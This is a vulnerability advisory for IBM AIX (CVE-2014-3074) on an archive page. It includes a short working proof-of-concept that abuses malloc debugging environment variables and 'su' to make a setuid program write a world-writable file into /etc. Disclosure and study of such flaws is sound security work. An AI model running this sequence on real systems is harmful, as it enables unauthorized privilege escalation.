Exploit the possiblities

IBM AIX Runtime Linker Privilege Escalation

IBM AIX Runtime Linker Privilege Escalation
Posted Jul 9, 2014
Authored by Tim Brown | Site portcullis-security.com

IBM AIX versions 6.1 and 7.1 suffer from a runtime linker privilege escalation vulnerability.

tags | advisory
systems | aix
advisories | CVE-2014-3074
MD5 | 5ed90263296038d7960e8d8e007b1e6a

IBM AIX Runtime Linker Privilege Escalation

Change Mirror Download
Vulnerability title: Runtime Linker Allows Privilege Escalation Via
Arbitrary File Writes in IBM AIX
CVE: CVE-2014-3074
Vendor: IBM
Product: AIX
Affected version: AIX 6.1 and 7.1 and VIOS 2.2.*
Reported by: Tim Brown

Details:
It has been identified that the runtime linker allows privilege
escalation via arbitrary file writes with elevated privileges (SetGID
and SetUID programs). The following will cause a new file /etc/pwned to
be created with permissions of rw-rw-rw:

umask 0
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/pwned
export MALLOCOPTIONS MALLOCBUCKETS
su -

In instances where the output file exists, then the report_allocations
output will be appended to the existing file and the permissions preserved.

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3074/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    2 Files
  • 19
    Feb 19th
    16 Files
  • 20
    Feb 20th
    6 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close